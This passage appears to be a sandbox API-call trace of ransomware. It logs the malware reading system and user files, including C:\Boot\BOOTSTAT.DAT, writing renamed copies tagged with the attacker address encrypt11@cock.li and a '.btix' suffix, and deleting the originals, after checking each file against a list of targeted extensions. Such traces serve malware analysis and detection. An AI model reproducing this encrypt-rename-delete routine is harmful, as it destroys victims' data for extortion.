lpOverlapped=0x0) returned 1 [0044.387] WriteFile (in: hFile=0x320, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xe8, lpOverlapped=0x0) returned 1 [0044.387] SetEndOfFile (hFile=0x320) returned 1 [0044.387] CloseHandle (hObject=0x320) returned 1 [0044.390] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0044.390] SetEndOfFile (hFile=0x364) returned 1 [0044.392] CloseHandle (hObject=0x364) returned 1 [0044.393] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0044.394] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1 [0044.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0044.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0044.398] lstrlenW (lpString=".doc") returned 4 [0044.398] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.398] lstrlenW (lpString=".docx") returned 5 [0044.398] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0044.398] lstrlenW (lpString=".pdf") returned 4 [0044.398] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.398] lstrlenW (lpString=".xls") returned 4 [0044.399] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.399] lstrlenW (lpString=".xlsx") returned 5 [0044.399] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0044.399] lstrlenW (lpString=".ppt") returned 4 [0044.399] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.399] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0044.399] lstrlenW (lpString=".zip") returned 4 [0044.399] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.399] lstrlenW (lpString=".rar") returned 4 [0044.399] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.399] lstrlenW (lpString=".bz2") returned 4 [0044.399] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.399] lstrlenW (lpString=".7z") returned 3 [0044.399] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.399] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0044.399] lstrlenW (lpString=".dbf") returned 4 [0044.399] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.399] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0044.399] lstrlenW (lpString=".1cd") returned 4 [0044.399] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.399] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0044.399] lstrlenW (lpString=".jpg") returned 4 [0044.399] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.399] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0044.399] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0044.399] lstrlenW (lpString=".doc") returned 4 [0044.399] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.399] lstrlenW (lpString=".docx") returned 5 [0044.399] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0044.399] lstrlenW (lpString=".pdf") returned 4 [0044.399] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.400] lstrlenW (lpString=".xls") returned 4 [0044.400] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.400] lstrlenW (lpString=".xlsx") returned 5 [0044.400] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0044.400] lstrlenW (lpString=".ppt") returned 4 [0044.400] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.400] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0044.400] lstrlenW (lpString=".zip") returned 4 [0044.400] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.400] lstrlenW (lpString=".rar") returned 4 [0044.400] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.400] lstrlenW (lpString=".bz2") returned 4 [0044.400] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.400] lstrlenW (lpString=".7z") returned 3 [0044.400] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.400] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0044.400] lstrlenW (lpString=".dbf") returned 4 [0044.400] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.400] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0044.400] lstrlenW (lpString=".1cd") returned 4 [0044.400] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.400] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0044.400] lstrlenW (lpString=".jpg") returned 4 [0044.400] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.400] lstrcmpiW (lpString1=".bmp", lpString2=".btix") returned -1 [0044.400] lstrlenW (lpString="SplashScreen.bmp") returned 16 [0044.400] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0044.401] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=41080) returned 1 [0044.401] CloseHandle (hObject=0x320) returned 1 [0044.401] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80 [0044.401] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.401] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0044.401] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0044.401] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0044.401] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0044.401] GetLastError () returned 0x0 [0044.401] ReadFile (in: hFile=0x320, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0xa078, lpOverlapped=0x0) returned 1 [0044.742] WriteFile (in: hFile=0x328, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xa080, lpOverlapped=0x0) returned 1 [0044.744] ReadFile (in: hFile=0x320, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0044.744] WriteFile (in: hFile=0x328, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xf4, lpOverlapped=0x0) returned 1 [0044.744] SetEndOfFile (hFile=0x328) returned 1 [0044.744] CloseHandle (hObject=0x328) returned 1 [0044.745] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0044.745] SetEndOfFile (hFile=0x320) returned 1 [0044.746] CloseHandle (hObject=0x320) returned 1 [0044.749] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0044.749] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 1 [0044.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0044.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0044.750] lstrlenW (lpString=".doc") returned 4 [0044.750] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0044.750] lstrlenW (lpString=".docx") returned 5 [0044.750] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0044.750] lstrlenW (lpString=".pdf") returned 4 [0044.750] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0044.750] lstrlenW (lpString=".xls") returned 4 [0044.750] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0044.750] lstrlenW (lpString=".xlsx") returned 5 [0044.750] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0044.750] lstrlenW (lpString=".ppt") returned 4 [0044.750] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0044.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0044.750] lstrlenW (lpString=".zip") returned 4 [0044.750] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0044.750] lstrlenW (lpString=".rar") returned 4 [0044.750] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0044.750] lstrlenW (lpString=".bz2") returned 4 [0044.750] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0044.750] lstrlenW (lpString=".7z") returned 3 [0044.750] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0044.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0044.750] lstrlenW (lpString=".dbf") returned 4 [0044.750] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0044.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0044.750] lstrlenW (lpString=".1cd") returned 4 [0044.751] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0044.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0044.751] lstrlenW (lpString=".jpg") returned 4 [0044.751] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0044.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0044.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0044.751] lstrlenW (lpString=".doc") returned 4 [0044.751] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0044.751] lstrlenW (lpString=".docx") returned 5 [0044.751] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0044.751] lstrlenW (lpString=".pdf") returned 4 [0044.751] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0044.751] lstrlenW (lpString=".xls") returned 4 [0044.751] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0044.751] lstrlenW (lpString=".xlsx") returned 5 [0044.751] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0044.751] lstrlenW (lpString=".ppt") returned 4 [0044.751] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0044.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0044.751] lstrlenW (lpString=".zip") returned 4 [0044.751] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0044.751] lstrlenW (lpString=".rar") returned 4 [0044.751] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0044.751] lstrlenW (lpString=".bz2") returned 4 [0044.751] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0044.751] lstrlenW (lpString=".7z") returned 3 [0044.751] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0044.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0044.751] lstrlenW (lpString=".dbf") returned 4 [0044.751] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0044.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0044.752] lstrlenW (lpString=".1cd") returned 4 [0044.752] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0044.752] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0044.752] lstrlenW (lpString=".jpg") returned 4 [0044.752] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0044.752] lstrcmpiW (lpString1=".LOG", lpString2=".btix") returned 1 [0044.752] lstrlenW (lpString="BCD.LOG") returned 7 [0044.752] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.752] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.752] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.752] lstrlenW (lpString=".doc") returned 4 [0044.752] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0044.752] lstrlenW (lpString=".docx") returned 5 [0044.752] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0044.752] lstrlenW (lpString=".pdf") returned 4 [0044.752] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0044.752] lstrlenW (lpString=".xls") returned 4 [0044.752] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0044.752] lstrlenW (lpString=".xlsx") returned 5 [0044.752] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0044.752] lstrlenW (lpString=".ppt") returned 4 [0044.752] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0044.752] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.752] lstrlenW (lpString=".zip") returned 4 [0044.752] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0044.752] lstrlenW (lpString=".rar") returned 4 [0044.753] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0044.753] lstrlenW (lpString=".bz2") returned 4 [0044.753] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0044.753] lstrlenW (lpString=".7z") returned 3 [0044.753] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0044.753] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.753] lstrlenW (lpString=".dbf") returned 4 [0044.753] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0044.753] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.753] lstrlenW (lpString=".1cd") returned 4 [0044.753] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0044.753] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.753] lstrlenW (lpString=".jpg") returned 4 [0044.753] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0044.753] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.753] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.753] lstrlenW (lpString=".doc") returned 4 [0044.753] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0044.753] lstrlenW (lpString=".docx") returned 5 [0044.753] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0044.753] lstrlenW (lpString=".pdf") returned 4 [0044.753] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0044.753] lstrlenW (lpString=".xls") returned 4 [0044.753] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0044.753] lstrlenW (lpString=".xlsx") returned 5 [0044.753] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0044.753] lstrlenW (lpString=".ppt") returned 4 [0044.753] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0044.753] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.753] lstrlenW (lpString=".zip") returned 4 [0044.753] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0044.754] lstrlenW (lpString=".rar") returned 4 [0044.754] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0044.754] lstrlenW (lpString=".bz2") returned 4 [0044.754] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0044.754] lstrlenW (lpString=".7z") returned 3 [0044.754] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0044.754] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.754] lstrlenW (lpString=".dbf") returned 4 [0044.754] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0044.754] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.754] lstrlenW (lpString=".1cd") returned 4 [0044.754] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0044.754] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0044.754] lstrlenW (lpString=".jpg") returned 4 [0044.754] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0044.754] lstrcmpiW (lpString1=".DAT", lpString2=".btix") returned 1 [0044.754] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0044.754] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0044.859] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=65536) returned 1 [0044.859] CloseHandle (hObject=0x32c) returned 1 [0044.859] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0044.859] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.863] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0044.864] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0044.864] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0044.864] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0044.864] GetLastError () returned 0x0 [0044.864] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x10000, lpOverlapped=0x0) returned 1 [0044.868] WriteFile (in: hFile=0x318, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x10010, lpOverlapped=0x0) returned 1 [0044.870] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0044.870] WriteFile (in: hFile=0x318, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0044.870] SetEndOfFile (hFile=0x318) returned 1 [0044.870] CloseHandle (hObject=0x318) returned 1 [0044.872] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0044.872] SetEndOfFile (hFile=0x364) returned 1 [0044.873] CloseHandle (hObject=0x364) returned 1 [0044.873] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x26) returned 1 [0044.873] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0044.873] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.873] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.873] lstrlenW (lpString=".doc") returned 4 [0044.873] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0044.873] lstrlenW (lpString=".docx") returned 5 [0044.873] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0044.873] lstrlenW (lpString=".pdf") returned 4 [0044.874] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0044.874] lstrlenW (lpString=".xls") returned 4 [0044.874] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0044.874] lstrlenW (lpString=".xlsx") returned 5 [0044.874] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0044.874] lstrlenW (lpString=".ppt") returned 4 [0044.874] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0044.874] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.874] lstrlenW (lpString=".zip") returned 4 [0044.874] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0044.874] lstrlenW (lpString=".rar") returned 4 [0044.874] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0044.874] lstrlenW (lpString=".bz2") returned 4 [0044.874] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0044.874] lstrlenW (lpString=".7z") returned 3 [0044.874] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0044.874] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.874] lstrlenW (lpString=".dbf") returned 4 [0044.874] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0044.874] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.874] lstrlenW (lpString=".1cd") returned 4 [0044.874] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0044.874] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.874] lstrlenW (lpString=".jpg") returned 4 [0044.874] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0044.874] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.874] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.874] lstrlenW (lpString=".doc") returned 4 [0044.874] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0044.874] lstrlenW (lpString=".docx") returned 5 [0044.874] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0044.874] lstrlenW (lpString=".pdf") returned 4 [0044.874] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0044.874] lstrlenW (lpString=".xls") returned 4 [0044.874] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0044.875] lstrlenW (lpString=".xlsx") returned 5 [0044.875] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0044.875] lstrlenW (lpString=".ppt") returned 4 [0044.875] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0044.875] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.875] lstrlenW (lpString=".zip") returned 4 [0044.875] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0044.875] lstrlenW (lpString=".rar") returned 4 [0044.875] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0044.875] lstrlenW (lpString=".bz2") returned 4 [0044.875] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0044.875] lstrlenW (lpString=".7z") returned 3 [0044.875] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0044.875] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.875] lstrlenW (lpString=".dbf") returned 4 [0044.875] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0044.875] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.875] lstrlenW (lpString=".1cd") returned 4 [0044.875] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0044.875] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0044.875] lstrlenW (lpString=".jpg") returned 4 [0044.875] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0044.875] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0044.875] lstrlenW (lpString="OfficeUpdateSchedule.xml") returned 24 [0044.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0044.876] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=4782) returned 1 [0044.876] CloseHandle (hObject=0x364) returned 1 [0044.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20 [0044.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0044.876] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0044.876] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, 